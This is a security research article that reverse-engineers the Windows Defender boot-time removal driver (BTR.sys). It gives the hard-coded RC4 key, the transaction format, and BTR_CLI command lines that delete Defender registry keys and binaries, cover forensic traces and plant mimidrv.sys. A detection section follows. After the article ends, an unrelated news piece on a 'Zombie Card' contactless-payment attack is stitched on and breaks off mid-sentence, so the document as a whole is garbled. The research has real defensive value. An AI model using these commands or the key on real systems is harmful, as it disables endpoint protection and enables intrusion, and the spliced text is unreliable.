virustotal

Research by: Jiří Vinopal ( @vinopaljiri ) Abstract What if a trusted security component could be repurposed into an attacker-controlled kernel primitive? What if a signed Microsoft remediation driver could be instructed to execute arbitrary file and registry operations from Ring 0 – without exploits, vulnerabilities, or memory corruption? In this publication, we present the first full reverse engineering of the Windows Defender Boot-Time Removal driver ( BTR.sys ) and its proprietary transaction format. We dissect its encrypted configuration mechanism, integrity validation logic, and execution pipeline, and demonstrate how this legitimate remediation component can be transformed into a universal kernel operation engine. We introduce  BTR_CLI , a research tool that constructs valid encrypted transactions and safely exercises the driver’s functionality to demonstrate its capabilities. Furthermore, we demonstrate how  BTR_CLI  can be used as an EDR/AV bypass technique, disarming security solutions while using a trusted Windows built-in , Microsoft-signed driver, thus not relying on typical  BYOVD  techniques. Our research reveals how trusted security infrastructure can unintentionally expose powerful primitives, what this means for defenders, and how similar patterns may exist in other signed remediation components. This work blends reverse engineering, kernel internals, and detection engineering into a practical case study of when defensive technology becomes offensive capability . Introduction This research originated during an incident response investigation involving a compromised system, where certain endpoint telemetry appeared suspicious but was ultimately traced back to legitimate Windows Defender remediation activity. During analysis, a driver (internally identified as  BTR.sys ) appeared on disk under  System32\drivers  with a randomized filename and a corresponding randomized service name ( HKLM\SYSTEM\CurrentControlSet\Services\mzqnjtaq ), accompanied by the following registry entries: Value Name Value Type Data Type REG_DWORD 1  (Kernel Driver) Start REG_DWORD 1  (System Start) ErrorControl REG_DWORD 0  (Ignore) ImagePath REG_EXPAND_SZ \\??\C:\Windows\system32\drivers\mzqnjtaq.sys Group REG_SZ Boot Bus Extender Args REG_SZ C:\Windows\system32\drivers\mzqnjtaq.sys:changelist At first glance, several characteristics resembled attacker tradecraft: A randomly named driver dropped shortly before reboot Creation of a transient service entry for loading it Presence of RC4 encryption routines Interaction with an Alternate Data Stream ( :changelist ) attached to the driver file Self-cleanup behavior after execution These indicators strongly resembled malicious kernel loader behavior, particularly given prior research into exotic loading mechanisms such as loading kernel drivers directly from ADS paths – a technique often considered theoretical yet has proven practical. The most unusual aspect was that the ADS stream contained an encrypted binary structure used as configuration input for the driver. Encountering a Microsoft-signed driver relying on an ADS-stored encrypted configuration immediately raised suspicion that it might be exploitable or abused by attackers. Our initial hypothesis was that the threat actor had leveraged this driver for post-exploitation activity. That hypothesis ultimately proved incorrect: the behavior was legitimate Defender remediation logic. However, that discovery triggered a deeper analysis of  BTR.sys  and the surrounding remediation architecture. What began as a false-positive investigation quickly evolved into a full reverse-engineering effort that uncovered undocumented functionality, a custom protocol, and an unexpectedly powerful kernel execution model. Technical Analysis: The BTR Driver Driver Overview Filename:   BTR.sys Figure 1: “BTR.sys” driver – Boot Time Removal Tool. Origin:  Embedded as a PE resource within  MpEngine.dll . It is dropped to disk (with a randomized filename matching  [a-z]{8}.sys , e.g.,  mzqnjtaq.sys ) only when a remediation action requires a reboot (e.g., deleting a locked file). Figure 2: “MpEngine.dll” with embedded “BTR.sys” as a PE resource. Figure 3: “MpEngine.dll” dropping “BTR.sys” from the embedded “BOOTTIMETOOL” resource. Behavior:  It is a “ one-shot ” driver. It loads, performs a list of transactions, reports status, and immediately requests self-unloading. The Configuration Mechanism The driver does not expose a standard IOCTL interface. Instead, it reads a configuration blob pointed to by the  Args  value in its Service Registry Key. Registry Path:   HKLM\SYSTEM\CurrentControlSet\Services\{Random}\Args Figure 4: “BTR.sys” initialization logic querying the “Args” service value to locate the configuration. Format:  A file path to an Alternate Data Stream (e.g.,  C:\Windows\system32\drivers\BTR.sys:changelist ) containing RC4-encrypted binary data. Figure 5: “MpEngine.dll” constructing the configuration path by explicitly appending the “:changelist” ADS. Cryptography & Integrity The configuration blob is protected by both encryption and integrity checks to prevent tampering. Encryption: RC4  Stream Cipher. Key:  A hard-coded 256-byte key embedded in the  .rdata  section of the driver (this key appears to be consistent across various  BTR.sys  driver versions). Figure 6: “BTR.sys” RC4 decryption of configuration using a hard-coded 256-byte key in “.rdata”. Integrity: Modified CRC-32 ( ~CRC32 ) . The driver uses the standard CRC-32 polynomial ( 0xEDB88320 ) and initialization ( 0xFFFFFFFF ). However, it deviates from the standard implementation by  omitting the final bitwise inversion  (Final XOR) step. Consequently, the resulting value is mathematically equivalent to the bitwise inverse of a standard CRC-32 (denoted as  ~CRC32  in the tables in the next section below). Independence:  Integrity checks are  non-cumulative . The CRC register is reset to the initial value ( 0xFFFFFFFF ) for every individual structure (Global Header, Global Payload, Item Header, and Item Data). This design isolates the validation of each component, effectively  preventing CRC chaining manipulation  where modifying one structure could impact the validity of subsequent structures. Figure 7: “BTR.sys” CalcCRC32 function → ~CRC32(Buffer, Size). The Transaction Structure The RC4-decrypted payload (configuration blob) is a serialized list of actions. Through reverse engineering, we have mapped the structure entirely (notably, the  PDB  for  BTR.sys  is not provided by Microsoft). Figure 8: Transaction Structure Format → The Configuration. Global Header (24 Bytes) The file starts with a fixed header that defines the session. Offset Size Field Description 0x00 4 Magic 0xFEE1DEAD  (Little Endian) 0x04 4 Version 0x00000002 0x08 4 PayloadOffset 0x00000010  (Relative offset from this field to the Global Payload; constant) 0x0C 4 GlobalCRC ~CRC32  of the Header (with this field zeroed) 0x10 8 TransID Composite ID: Low 4 bytes =  ~CRC32(Payload) , High 4 bytes =  Size(Payload) The table above can be represented as the following C structure: struct GLOBAL_HEADER { uint32_t Magic; // 0xFEE1DEAD uint32_t Version; // 2 uint32_t PayloadOffset; // 0x10 (relative offset to Global Payload) uint32_t GlobalCRC; // ~CRC32(Header) uint32_t TransID_Low; // ~CRC32(Payload) uint32_t TransID_High; // Size(Payload) }; Global Payload (Variable) It immediately follows the header. Content:  A null-terminated Unicode string. Purpose:  The  Feedback File  path (e.g.,  \??\C:\ProgramData\...\mzqnjtaq.dat ). The driver creates this file and writes a  Transaction Execution Report . This report mostly mirrors the structure of the input configuration but updates the first 4 bytes of each Item’s Data payload ( [Flags] ) with the  NTSTATUS  code resulting from that specific operation. Item Structure (The Action) Following the Global Payload is a list of Operation Items. Item Header (16 Bytes): Offset Size Field Description 0x00 4 DataSize Size of the Item Data (including padding) 0x04 4 ActionID The operation to perform (see Section below) 0x08 4 HeaderCRC ~CRC32  of this header (calculated with this field zeroed) 0x0C 4 DataCRC ~CRC32  of the Item Data The table above can be represented as the following C structure: struct ITEM_HEADER { uint32_t DataSize; // Size of Item Data uint32_t Action; // Action ID uint32_t HeaderCRC; // ~CRC32(Header) uint32_t DataCRC; // ~CRC32(Data) }; Item Data (Variable): The structure of the data depends on the Action ID. For complex actions (3-6), it starts with a Flags field; for simple actions (1-2), it starts immediately with the path. It generally follows: [Flags (Optional 4 bytes)] [String 1] [String 2] ... [Padding] Padding (Reserved Space):  The driver requires exactly  4 null bytes  appended to the end of the Item Data. Technical Note:  This is not for alignment. For simple actions (like File Deletion) which lack a leading 4-byte  [Flags]  field, the driver utilizes this reserved space to generate the feedback report. It shifts the string data by 4 bytes into this padding area to create room at the beginning of the buffer for the  NTSTATUS  code, avoiding memory reallocation. Weaponized Primitives (Action IDs) We have identified and implemented the following  Action IDs  in the  BTR_CLI  tool: File Operations Action 1: Delete File Structure:   [Path] Effect:  Kernel-level deletion. Bypasses exclusive file locks. Action 2: Delete Directory Structure:   [Path] Effect:  Removes an empty directory. Action 3: Move / Quarantine Structure:   [Flags] [Source Path] [Dest Path] Effect:  Moves a file. Weaponization:  If  Dest Path  is empty, this acts as a  Delete  operation. If  Dest Path  is valid, this allows  Arbitrary File Write/Move  (e.g., dropping a malicious DLL into System32). Registry Operations Action 4: Delete Key Structure:   [Flags] [Key Path] Effect:  Deletes a registry key and its subkeys. Action 5: Delete Value Structure:   [Flags] [Key Path + "\\" + Value Name] Critical Finding:  The driver parses the string by searching for a  double backslash  ( \\ ) to split the Key from the Value. Standard paths fail; specific formatting is required. Figure 9: “BTR.sys” Action 5 – double backslash “\\” parser. Action 6: Set Value Structure:   [Flags] [Type] [Size] [Key Path + "\\" + Value Name] [Data] Effect:  Arbitrary Registry Write + Registry Creation. Weaponization:  Can be used to establish persistence (Run keys, Services) or disable security controls (Tamper Protection, EDR configs). Creates not only a value but possibly the registry key path itself. Operational Findings & Anti-Forensics The “Success” Error Code A unique trait of  BTR.sys  is its return value upon successful execution. It returns  0xC0000056  ( STATUS_DELETE_PENDING ) instead of  STATUS_SUCCESS . Figure 10: “BTR.sys” successful execution → STATUS_DELETE_PENDING. Reason:  This signals the Windows Kernel to immediately unload the driver and mark the driver object for deletion, ensuring it does not persist in memory. Anti-Forensics (Log Cleaning) The driver creates a text log at  \SystemRoot\Temp\BootClean.log . Figure 11: “BTR.sys” DriverEntry – “BootClean.log” file creation. Technique:  The  BTR_CLI  tool automatically injects an  Action 1  item at the start of the transaction list targeting  BootClean.log . Result:  The driver creates the log, performs the user’s action, and then  deletes its own log file  before unloading. This leaves minimal forensic traces. BTR.sys Driver Versions To obtain a comprehensive overview of different  BTR.sys  driver versions, we searched public repositories such as  VirusTotal  and  Winbindex  (by locating  MpEngine.dll , which embeds the  BTR.sys  driver). Using Winbindex, we identified exactly 12 different versions of 64-bit  MpEngine.dll  across all available Windows 10 and Windows 11 releases. Figure 12: Winbindex search – “MpEngine.dll”. Extracting the embedded  BTR.sys  from these 12  MpEngine.dll  versions resulted in 5 unique driver builds (based on distinct SHA-256 hashes). Figure 13: Unique “BTR.sys” drivers extracted from “MpEngine” dlls (Winbindex). Combining these 5 builds with distinct  BTR.sys  samples (unique SHA-256 hashes) identified on VirusTotal at the time of analysis, and after de-duplication against the Winbindex dataset, we obtained a total of  18 unique 64-bit Microsoft-signed versions  (distinct Authentihashes) of the  BTR.sys  driver. Analysis confirmed that  all versions share the same hard-coded 256-byte RC4 key  used to decrypt the transaction structure (configuration blob). 1E 87 78 1B 8D BB A8 44 CE 69 70 2C 0C 78 B7 86 A3 F6 23 B7 38 F4 ED F9 AF 83 53 0F B3 FC 54 FA A2 1E B9 CF 13 32 FD 0F 0D A9 54 F6 87 CB 9E 18 27 96 97 90 0E 54 FB 31 7C 9C BC E4 8E 23 D0 53 71 EC C1 59 51 B7 F3 64 9D 7C A3 3E D6 8D C9 04 7E 82 C9 BA AD 96 99 D0 D4 58 CB 84 7C A9 FF BE 3C 8A 77 52 33 55 7D DE 13 A8 B1 40 87 CC 1B C8 F1 0F 6E CD D0 83 A9 59 CF F8 4A 9D 1D 50 75 5E 3E 19 18 18 AF 23 E2 29 35 58 76 6D 2C 07 E2 57 12 B2 CA 0B 53 5E D8 F6 C5 6C E7 3D 24 BD D0 29 17 71 86 1A 54 B4 C2 85 A9 A3 DB 7A CA 6D 22 4A EA CD 62 1D B9 FB A2 2E D1 E9 E1 1D 75 BE D7 DC 0E CB 0A 8E 68 C2 FF 12 63 40 8D C8 08 DF FD 16 4B 11 67 74 CD 6B 9B 8D 05 41 1E D6 26 2E 42 9B A4 95 67 6B 83 98 DB 2F 35 D3 C1 B9 CE D5 26 36 F2 76 5E 1A 95 CB 7C A4 C3 DD AB DD BF F3 82 53 Furthermore, the transaction structure format is consistent across all analyzed versions and supports all identified Action IDs. This consistency makes the  BTR_CLI  tool (provided in the next section) a universal, reliable, and reusable component across all tested Windows OS builds → from Windows 7 Build 7601, through Windows 8.1 and Windows 10 22H2, up to the latest Windows 11 25H2  at the time of writing  ( July 2026 ). The Tool: BTR_CLI The  BTR_CLI  tool serves as a fully functional Proof-of-Concept (PoC) demonstrating the offensive utility of the Microsoft Boot Time Removal driver ( BTR.sys ). The source code implements a complete exploitation chain that mimics the native behavior of  MpEngine.dll  while extending its capabilities for research and red-teaming purposes. Figure 14: The “BTR_CLI” tool – 6 stage pipeline. The tool performs the following sequence of operations: Driver Extraction:  It automatically locates and extracts the legitimate  BTR.sys  driver from the local  MpEngine.dll  resource section. If the DLL is unavailable (cannot be found) or the hard-coded RC4 key inside the DLL has changed, it falls back to an embedded driver version (the latest one confirmed to be supported). Stealth Configuration (ADS):  Instead of creating visible configuration files, the tool utilizes  Alternate Data Streams (ADS) . It generates a randomized filename for the driver (e.g.,  Random.sys ) and writes the encrypted transaction payload directly into  Random.sys:changelist . The feedback path is similarly set to  Random.sys:Random.dat . Payload Construction:  It constructs a custom RC4-encrypted payload containing the specific remediation instructions (the config). This includes calculating the correct CRC32 checksums and padding required by the driver to accept the configuration. Action Chaining:  The tool supports chaining multiple operations into a single execution transaction. By default, it injects an anti-forensics action to delete its own log file ( BootClean.log ), followed by any user-defined actions (e.g., file deletion, registry modification, etc.). Service Creation & Triggering: Runtime Execution ( trigger now ):  Creates a service with a randomized name and loads the driver immediately via  NtLoadDriver . Boot Execution ( trigger boot ):  Configures the service with  Start=1  (System) and Group  Boot Bus Extender  to execute during the early boot phase, bypassing active EDR/AV protections. Cleanup:  It automatically unloads the driver and removes all artifacts (Service Registry Key, Driver File, and ADS streams) after execution. Usage: Figure 15: The “BTR_CLI” tool – usage. Source Code: The  source code of BTR_CLI , with its ready-to-run executables (both  x64  and  x86 , each self-contained with the embedded  BTR.sys  fallback), is  available here , MIT licensed. The  BTR_CLI  tool underwent robust testing across a comprehensive range of Windows operating systems, spanning from Windows 7 Build 7601 (released in 2011), through Windows 8.1 and Windows 10 22H2, up to the latest fully updated Windows 11 25H2 ( as of July 2026 ). Testing confirmed the tool’s ability to successfully execute all supported  BTR.sys  capabilities (Action IDs) across every version. Notably, while the tool includes an embedded fallback driver, this redundancy was never required during testing; the target-specific  BTR.sys  was successfully extracted from the local  MpEngine.dll  in every instance. This capability allows the tool to operate without introducing external binaries, effectively avoiding BYOVD-like scenarios. These findings highlight a remarkable consistency in the internal  BTR.sys  codebase – retaining the same hard-coded RC4 key and configuration structure for over 15 years. The “Golden Window” of Opportunity: Exploiting the BTR.sys Driver for EDR/AV Neutralization Figure 16: The “Golden Window” – Filesystem Ready & Security Stack Dormant. The Operational Constraint: Why  Start=0  is Impossible The operational premise of  BTR.sys  suggests a capability to execute during the earliest stages of the operating system boot process. However, empirical testing confirms a hard architectural constraint:  BTR.sys  cannot function as a  SERVICE_BOOT_START  ( Start=0 ) driver. While standard EDR kernel minifilters utilize  Start=0  to register callbacks immediately upon kernel initialization,  BTR.sys  was designed by Microsoft to perform file I/O operations (reading the ADS configuration and creating logs) directly within its  DriverEntry  routine. During  Phase 0  of the boot process, the Windows Object Manager has not yet established the  SystemRoot  symbolic link (used by  BTR.sys ), and the storage stack is not fully initialized. Consequently, forcing  BTR.sys  to  Start=0  results in immediate failure. Therefore, the driver must be configured as  SERVICE_SYSTEM_START   ( Start=1 ) . To maximize its offensive utility, it is assigned to the “ Boot Bus Extender ” load order group. This configuration places it at one of the  earliest practical execution slots  available in  Phase 1 , immediately following the initialization of the filesystem ( Ntfs.sys ) and the transition from the OS Loader to the Kernel I/O Manager. Notably, this configuration mirrors the exact mechanism  MpEngine.dll  employs to stage the driver during a legitimate Windows Defender remediation event. Load Order Analysis & Service Group Priority The Windows Kernel enforces a strict temporal hierarchy by scanning the  ServiceGroupOrder  registry key in two distinct passes. First, the OS Loader loads  all   Start=0  (Boot) drivers during  Phase 0 . Once  Phase 0  concludes, the Kernel I/O Manager scans the list again to load  Start=1  (System) drivers during  Phase 1 . It is within this specific phase that the  “Boot Bus Extender”  group provides a strategic advantage. While  Start=0  security filters (e.g.,  WdFilter ) are already active,  BTR.sys  executes at the very beginning of  Phase 1 , effectively preempting other critical security drivers (e.g.,  UCPD ,  WdNisDrv ) that reside in lower-priority groups like “ FSFilter Activity Monitor ” (see the default Windows 11 25H2  ServiceGroupOrder ): System Reserved EMS WdfLoadGroup Boot Bus Extender <-- BTR.sys executes here (Start=1) ... (23 Groups) ... FSFilter Replication FSFilter Anti-Virus <-- WdFilter (the Group is lower, but Start=0) FSFilter Undelete FSFilter Activity Monitor <-- UCPD.sys (Start=1) ... (24 Groups) ... NDIS <-- Network Drivers ... (14 Groups) ... This architectural positioning creates a “ Golden Window ” – a specific timeframe where the filesystem is writable, but high-level security services and user-mode protection agents have not yet started. Boot Logging Verification (Procmon Analysis) Boot-time logging via Process Monitor provided definitive proof of this execution timeline. The events captured during a reboot cycle on a fully updated Windows 11 25H2 environment revealed the following sequence. Note that while Procmon’s boot logging may introduce slight latency, the  relative order of execution  is architecturally deterministic and remains consistent. Figure 17: Procmon – boot-time logging. Phase 0: Kernel Initialization (Start=0 Boot) The kernel initializes the filesystem and early-launch security drivers. 2:45:28.3130411 AM  –  WdBoot.sys  (Defender ELAM Boot Driver) loads. 2:45:28.3130685 AM  –  WdFilter.sys  (Defender Minifilter) loads. 2:45:28.3130700 AM  –  Ntfs.sys  (Filesystem) loads. Observation:  Security filters are active, but operating in a  limited standalone capacity  without real-time user-mode intelligence. Phase 1: The “Golden Window” (Start=1 System) The kernel transitions to System Start.  BTR.sys  (renamed  mlrmqchs.sys  for testing) executes immediately due to its “ Boot Bus Extender ” group. 2:45:28.6353170 AM  –  mlrmqchs.sys (BTR Driver)  loads. Action:  The driver executes its payload (file/registry modification) here. 2:45:28.6915450 AM  –  UCPD.sys  (User Choice Protection Driver) loads. Result:  The  BTR  driver preempts  UCPD , allowing modification of protected user choice registry keys before the protection driver is loaded. Phase 2: User Mode Initialization (Start=2 Automatic / Start=3 Manual) The Service Control Manager ( SCM ) begins starting services. This occurs significantly later. 2:46:02.7308562 AM  –  MpDefenderCoreService.exe  loads. 2:46:02.9603201 AM  –  MsMpEng.exe  (Defender Service) loads. Result:  The primary AV service starts roughly  34 seconds  after the BTR driver has finished its work. 2:49:23.4912735 AM  –  WdNisDrv.sys  (Network Inspection Driver) loads. Result:  The network inspection driver, triggered on-demand by the platform, loads nearly  4 minutes  later. EDR/AV Bypass Capabilities By exploiting this load order gap,  BTR.sys  functions as a potent neutralizer for security solutions, including Microsoft Defender and potentially third-party EDRs. Filesystem Neutralization:  Although  WdFilter  is already loaded, the absence of the user-mode service ( MsMpEng.exe ) renders it susceptible to “legal” operations performed by a signed Microsoft kernel driver. Tests confirmed the successful deletion of example protected binaries such as  WdFilter.sys ,  MsMpEng.exe  and  WdNisDrv.sys  during boot. Since the  MsMpEng.exe  service binary is removed  significantly before  the Service Control Manager even attempts to launch it, the security solution fails to start entirely, preventing self-healing, cloud reporting, etc. Figure 18: EDR/AV Bypass – Filesystem Neutralization. Registry Tamper Protection Bypass:  Tamper Protection is primarily enforced against user-mode processes.  BTR.sys , operating in kernel mode, successfully deleted critical Service Registry keys (e.g.,  HKLM\SYSTEM\CurrentControlSet\Services\WdFilter ) during runtime. This “blinds” the OS, preventing the  WdFilter.sys  driver from loading on the subsequent reboot. Figure 19: EDR/AV Bypass – Registry Tamper Protection Bypass. ELAM Irrelevance:  While Early Launch Anti-Malware ( WdBoot.sys ) protects the initial boot chain, its role is limited to evaluating boot-start drivers during early initialization.  BTR.sys  executes in this post-ELAM environment ( Start=1 ), meaning it is not evaluated by ELAM-related boot-driver checks. Furthermore, even if this architectural gap did not exist,  BTR.sys  carries a valid Microsoft signature, meaning it would normally pass signature enforcement, though this does not guarantee permanent trust or classification as “Known Good” in all contexts. Conclusion:  The  BTR.sys  driver, when manually staged to execute at the next boot, effectively bypasses the active protection stack by operating in the interval where the kernel is active but the security suite’s intelligence is dormant. Furthermore, tests demonstrated a successful Tamper Protection bypass at runtime. Demo PoC: BTR_CLI – WIN 11 25H2 – KILL CHAIN The following demonstration video presents a complete “ Kill Chain ” scenario on a fully updated  Windows 11 25H2  machine with all security features enabled. The Proof-of-Concept utilizes  BTR_CLI  ( BTR.sys ) to systematically dismantle the Windows Defender security stack from Ring 0, rendering the system defenseless against a known malicious sample. The demonstration follows these specific stages: Baseline & Tamper Protection Verification: We attempt to extract a well-known driver universally classified as  malicious  ( mimidrv.sys  – part of the  Mimikatz  post-exploitation tool) and modify Defender registry keys using standard Administrator privileges. Both actions are immediately blocked by Windows Defender and Tamper Protection. Phase 1: Runtime Tamper Protection Bypass: Using the  trigger now  mode, we instruct the  BTR.sys  driver to delete the Service Registry keys for the Defender Kernel Filter and the Antimalware Service. Since the operation originates from a signed Microsoft kernel driver, Tamper Protection is successfully bypassed. BTR_CLI.exe -chain -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" -trigger now Phase 2: Boot-Time Neutralization (“Golden Window”): Using the  trigger boot  mode, we schedule the physical deletion of the Defender binaries ( WdFilter.sys  and  MsMpEng.exe ). These operations execute during the “ Golden Window ” ( Phase 1 ), after the filesystem is writable but before the Defender user-mode service can start or lock the files. BTR_CLI.exe -chain -item "1|C:\Windows\System32\drivers\wd\WdFilter.sys" -item "1|C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe" -trigger boot Result & Arbitrary Write: After a system reboot, we verify that the critical Defender binaries have been permanently deleted. The malicious  mimidrv.sys  is then extracted without detection. Finally, we demonstrate an arbitrary write primitive by moving the malicious driver into the protected  System32\drivers  directory using the  BTR.sys  driver. BTR_CLI.exe -a 3 -s "C:\Users\admin\Desktop\mimidrv\mimidrv.sys" -d "C:\Windows\System32\drivers\mimidrv.sys" Figure 20: BTR_CLI PoC → Demo Video → WIN 11 25H2 – KILL CHAIN. Detection & Mitigation Detection Opportunities Because  BTR.sys  is a legitimate Microsoft-signed component, signature-based blocking is ineffective. Furthermore, a well-crafted weaponization tool (like  BTR_CLI ) intentionally mimics the operational footprint of the legitimate Windows Defender remediation process. Based on telemetry analysis using  Sysmon  (System Monitor), robust detection must rely on  behavioral context ,  Alternate Data Stream (ADS) monitoring ,  and kernel-execution attribution . Alternate Data Stream (ADS) Anomalies (Sysmon Event ID 15 – High Fidelity) The most distinct operational characteristic of  BTR.sys  is its reliance on Alternate Data Streams for configuration. Sysmon telemetry (Event ID 15) captures this behavior with high fidelity. Configuration Write (Universal):  Both legitimate usage and abuse involve creating an ADS named  :changelist  on the driver file. Sysmon captures the encrypted RC4 payload directly in the  Contents  field. Feedback Write (Differentiator): Abuse ( BTR_CLI ):  The tool directs the driver to write the feedback report into a secondary ADS on the driver itself (e.g.,  Random.sys:Random.dat ). Legitimate ( MpEngine.dll ):  The engine directs the driver to write the feedback report to a standalone file, typically in a protected path like  C:\ProgramData\Microsoft\Windows Defender\Scans\RebootActions\ . Detection Logic:  Alert on  FileCreateStreamHash  (Event ID 15) where  TargetFilename  ends in  .sys:changelist . Secondarily, alert on  .dat  streams created on  .sys  files (specific to current PoC tool). Figure 21: Sysmon ID 15 capturing the “BTR_CLI” writing the encrypted configuration to the “:changelist” ADS. Kernel-Mode Execution Context (Sysmon Event ID 23) When  BTR.sys  executes actions, for example,  file deletion  ( Action 1 ), the operation occurs in Ring 0. Sysmon logs the File Delete (Event ID 23), but the  Image  performing the deletion is recorded as  System  (PID 4), not the user-mode tool that triggered it. Detection Logic:  Correlate  System  (PID 4) deleting arbitrary files (especially security binaries) immediately following a  DriverLoad  (Event ID 6) of a binary matching the  BTR.sys  hash. Figure 22: Sysmon ID 23 capturing the “System” deleting “example.txt” immediately following a DriverLoad. Driver Deployment & Lineage (Sysmon Event ID 6) The origin of the driver load is a critical metric. Legitimate Usage:   BTR.sys  is dropped and registered by legitimate Windows Defender processes (e.g.,  MsMpEng.exe ). Abuse Indicator:  Alert on  DriverLoad  (Event ID 6) where the  Signature  is  Microsoft Windows  and the  Hashes  match known  BTR.sys  versions, but the  ParentImage  or  Image  responsible for dropping the file is outside the Defender ecosystem (e.g.,  cmd.exe ,  powershell.exe , or unknown binaries). Stealth Registry Staging (Sysmon Event ID 12, 13 vs. Event ID 7045) There is a subtle operational difference between how Defender and the current PoC load the driver. Legitimate ( MpEngine.dll ):  Uses the Service Control Manager (SCM) via  CreateServiceW . This generates standard Windows Event Logs (e.g., System Event ID  7045  – A service was installed). Abuse ( BTR_CLI ):  Directly interacts with the Registry to create the service keys ( HKLM\SYSTEM\CurrentControlSet\Services\{Random} ) and calls the undocumented  NtLoadDriver  syscall. This bypasses SCM, meaning Event ID  7045  will  not  trigger. Detection Logic:  Alert on  RegistryEvent  (Event ID 12/13) creating a service key where the  Args  value contains  :changelist  and  Group  is set to  Boot Bus Extender , especially if unaccompanied by a standard Service Installation event. Anti-Forensics Telemetry (Sysmon Event ID 11 & 23) Monitor for the rapid creation (Event 11) and subsequent deletion (Event 23) of  \SystemRoot\Temp\BootClean.log  by the  System  (PID 4) process. This log creation is hardcoded in the driver and occurs regardless of the caller. Figure 23: Sysmon ID 11 capturing the “System” creation and subsequent deletion (ID 23) of “BootClean.log”. Mitigation Recommendations Restrict Privileges:  The abuse of  BTR.sys  fundamentally relies on the attacker possessing  SeLoadDriverPrivilege . Enforcing the principle of least privilege and strictly monitoring the assignment and usage of this right is the primary defense. Behavioral EDR Rules:  Configure EDR solutions to alert on security-tool drivers executed outside their expected process lineage, regardless of their digital signature. Holistic LOLDriver Defense:  Recognize that the Microsoft Vulnerable Driver Blocklist (WDAC) does not protect against the abuse of  functionally intended  drivers like  BTR.sys . Defense-in-depth must include monitoring the  context  of driver loads and ADS creation, not just driver hashes. In-The-Wild Status During our analysis across all collected samples and telemetry sources, we did  not  observe evidence of real-world abuse of  BTR.sys  in the manner demonstrated in this research. This suggests the technique is currently unknown or unused by threat actors, making proactive detection engineering feasible before weaponization appears in the wild. Conclusion This research shows that the  BTR.sys  driver, originally designed as a defensive remediation component, exposes a powerful and fully functional kernel-mode execution primitive when its internal protocol is understood. By reversing its encrypted transaction format, integrity validation scheme, and execution logic, we demonstrated that a trusted, signed Microsoft driver can be instructed to perform arbitrary file and registry operations from Ring 0 without exploiting any vulnerability. The creation of the  BTR_CLI  tool was a key milestone in validating our findings. The tool automates payload construction, encryption, integrity calculation, driver extraction, execution, and cleanup. This allowed us to reliably reproduce kernel-level operations across all tested Windows 7-11 versions and across every analyzed  BTR.sys  build. Its successful operation confirmed that: The configuration protocol remains stable across versions. The RC4 key is universally reused. The transaction structure is backward compatible. The primitive is deterministic and reliable. This effectively repurposes a specialized defensive component into a versatile, signed kernel-mode primitive capable of arbitrary file and registry manipulation. More broadly, this work highlights an important defensive lesson:  trusted security infrastructure can unintentionally expose attacker-usable primitives  when its internal mechanisms are undocumented but reachable. The issue is not a vulnerability in the traditional sense, but rather an architectural trust boundary that can be crossed if an attacker already has administrative privileges. Following responsible disclosure,  MSRC  confirmed that these findings do not meet the criteria for immediate servicing, as the technique relies on pre-existing administrative privileges ( SeLoadDriverPrivilege ). This classification establishes  BTR.sys  as a potent “ Living-off-the-Land ”  driver  ( LOLDriver ). Crucially, unlike third-party drivers often neutralized by the  Microsoft Vulnerable Driver Blocklist  or tracked by the  LOLDrivers project ,  BTR.sys  is an essential, built-in Windows component. It remains fully allowed and operational, enabling advanced evasion without the risks or constraints associated with traditional  BYOVD  techniques. As defenders increasingly rely on signed binaries as indicators of trust, research like this demonstrates why behavioral context, execution lineage, and intent analysis must complement signature-based trust models. The post BTR Reforged: Weaponizing Defender’s Remediation Driver as a Kernel Operation Primitive appeared first on Check Point Research .

Researchers at the University of Massachusetts Amherst have demonstrated an attack that revives expired Visa contactless credit cards for real in-store purchases by rewriting the expiration date a point-of-sale (POS) terminal reads over near-field communication (NFC), without breaking any of the card's cryptography. The attack, which the researchers named "Zombie Card," requires physical possession of the expired card or sustained NFC proximity to it, plus a man-in-the-middle (MitM) relay positioned between the card and the terminal. It also requires that the account remain open under the same primary account number (PAN), which is standard practice when an issuer sends a replacement card, and that the issuing bank not independently re-check the expiry during authorization. The paper's preliminary study spans five major US banks and tests general tampering with Europay, Mastercard, and Visa (EMV) transactions. Raja Hasnain Anwar, the lead author, told The Hacker News that transactions succeeded at most of those banks when the team modified the Consumer Device Cardholder Verification Method (CDCVM) flag, a result he called alarming because it rests on the same weakness the expiry attack relies on, that transaction modifications go undetected. Three of the five banks were then tested with expired and replaced physical cards, and Anwar said they showed three distinct policies rather than a straightforward pass or fail. Bank A allowed the expiration date to be modified and accepted transactions from more than one card at a time. Bank B detected the modification and accepted transactions from only one active card. Bank D, whose cards ran Discover's kernel, detected the modification but still accepted transactions from more than one card. The work was presented at the 35th USENIX Security Symposium in Baltimore from August 12 to 14, 2026. Anwar, Gerard DeCunha, and Muhammad Taqi Raza disclosed the findings to Visa and the affected banks in May 2025 and made contact again in December 2025. No CVE has been assigned and no exploitation of the technique has been reported. The Hacker News found no advisory, specification bulletin, or mitigation guidance published by Visa, EMVCo, Mastercard, Discover, American Express, or terminal vendor SumUp as of August 20, 2026. Card expiry appears twice in a Visa contactless transaction, and the two representations are consumed by different parties. The terminal evaluates its processing restrictions against the Application Expiration Date, carried in Tag-Length-Value (TLV) tag 5F24. The issuer derives the expiry from Track 2 Equivalent Data, tag 57, which travels in the online authorization request. According to the paper, Visa's Kernel 3 does not require the two to be consistently bound, and the fast Dynamic Data Authentication (fDDA) signature the terminal verifies excludes 5F24 entirely. The relay rewrites the terminal-facing date to any future value and leaves Track 2 untouched, so the card's signature and its issuer-verified cryptogram both still validate. "Yet it is not cryptographically protected. So we can easily modify it to fool the POS," Anwar, a doctoral candidate with the Khwarizmi Lab at UMass Amherst, said of the expiration date in a university release. An expired card still passes offline data authentication because issuer and integrated circuit card certificate lifetimes are set independently of application expiry and routinely outlast the printed date. The card's private key encodes no notion of expiry at all. Kernel 3 also specifies that the Terminal Verification Results forwarded to the issuer are set to all zeros, so a bank cannot see whether the terminal ran or failed its local expiry check. The attacker does not need to know the replacement card's real expiration date. Any date later than the transaction date is sufficient. The team ran the same modification against four EMV contactless kernels, the per-network implementations of the protocol, with the following outcomes - Visa (Kernel 3). The edit passed the terminal's processing restrictions and did not invalidate the signature, because 5F24 is not among the signed data. Mastercard (Kernel 2). The terminal performs a consistency check between the two expiry representations during READ RECORD parsing and treats a mismatch as a card data error, declining rather than falling back online. American Express (Kernel 4). The expiration date is a mandatory record element 